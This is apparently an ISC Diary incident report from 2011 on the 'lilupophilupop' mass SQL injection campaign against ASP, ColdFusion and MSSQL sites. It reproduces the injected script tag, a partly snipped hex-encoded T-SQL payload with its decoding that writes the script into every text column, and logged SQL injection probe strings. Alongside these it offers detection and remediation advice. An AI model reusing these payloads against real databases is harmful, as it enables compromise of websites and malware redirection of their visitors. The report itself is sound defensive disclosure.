ISC Diary

We've had several reports (thanks guys) of sites being injected with the following string: 

"></title><script src="hXXp://lilupophilupop.com/sl.php"></script>

Typically it is inserted into several tables.  From the information gathered so far it looks targeted at ASP, IIS and MSSQL backends, but that is just speculation.  If you find that you have been infected please let us know and if you can share packets, logs  please upload them on the contact form.

Mark

UPDATE:

Thanks to those that posted comments and those that worked behind the scenes.  The injection string is along the lines Terry posted in his comments.  the one I ran across is (note not the whole string is provided)

73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404
320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f5220736
56c65637420632e---------snip----------9746c653e3c7363726970742727202729204645544348204e4558542046524f4d
205461626c655f437572736f722049444f2040542c404320454e4420434c4f5345205461626c655f437572736f7220444
5414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29

Which decodes to: 

declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('------SNIP-------
IN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="XXXX://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+................

When discovered yesterday about 80 sites showed in Google, this morning about 200, by lunch 1000 and a few minutes ago 4000+.  Targets include ASP sites and Coldfusion (Thanks Will) The attack seems to work on all versions of MSSQL.

The hex will show in the IIS log files, so monitor those. Make sure that applications only have the access they require, so if the page does not need to update a DB, then use an account that can only read.

Sources of the attack vary, it is automated and spreading fairly rapidly. As one of the comments mentioned it looks like lizamoon which infected over 1,000,000 sites earlier this year. 

The trail of the files ends up on "adobeflash page" or fake AV.  Blocking access to the lilupophilupop site will prevent infection of clients should they hit an infected site and be redirected.

Mark H - Shearwater

UPDATE 8/12/2011

Firstly thanks to those that have provided comments and additional information.  As of a few minutes ago the approximate number of sites infected is about 160,000 sites. Looking at where the infections are shows .com, .de, & .uk as the most affected regions.

• .com - 19,100
• .au - 167
• .uk - 25,200
• .fr - 10,900
• .in - 1,780
• .ie - 2,350
• .ca -1,630
• .be - 4,580
• .nl - 14,000
• .de - 23,200
• .no - 2,410

Based on information in the log files of some incidents the preparation for the attack goes back a little while. Log records show that at least two weeks prior to the actual injection attack the system is being probed for vulnerable pages as well as attempts to identify the product being used.  For example: 

• 2011-11-16 05:13:55 176.65.161.71 xxxxxxxx.asp  PAGEID=189%27%29%29%2F%2A%2A%2For%2F
%2A%2A%2F1%3D%40%40version------snip----|Line_1:_Incorrect_syntax_near_')'

• 2011-11-17 10:50:01 64.191.13.178   /xxxxxxxxxxx.asp  PAGEID=189%29%2F%2A%2A%2For%2F
%2A%2A%2F1%3D%40%40version--------snip----Syntax_error_converting_the_
varchar_value_'189)/**/or/**/1=@@version--'_to_a_column_of_data_type_int.

• 2011-11-17 14:48:09 213.229.96.13   /xxxxxxxxxxx.asp  PAGEID=189%2F%2A%2A%2For%2F%2A
%2A%2F1%3D%40%40version%29%29------snip----|Syntax_error_converting_the_
varchar_value_'189/**/or/**/1=@@version))--'_to_a_column_of_data_type_int.

• 2011-11-19 22:24:41 94.228.222.41   /xxxxxxxxxxx.asp  PAGEID=189%27%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version%29------snip----|Line_1:_Incorrect_syntax_near_')'.

From the above you can see that over time there are a few attempts, then the next day the next attempt appears in the log files. The attempts are from different IP addresses, but there certainly is some progression based on responses received. In this instance the PAGEID=189 parameter on page xxxxxxxx.asp is vulnerable.  If you search your log files for 500 errors, go back a few weeks, you will find the probing queries.

If you are still battling this, please make sure that you identify the entry page.  If you restore your DB and bring the system back online without identifying the entry point, then it will only be a matter of time before the system is re-compromised.

I put some things you might look for in the comments section of the diary.  The easiest place to start will be to look for the 500 error messages, mainly because the final injection is likely to cause your DB product to throw an error which will show as a 500 error. Even if it does not, you may be able to identify the probing queries and from those identify the final injection.  

When looking at fixing the problem do not forget that this vulnerability is a coding issue. You may need to make application changes. To address the issue make sure you perform proper input validation for every parameter you accept.

Mark H - Shearwater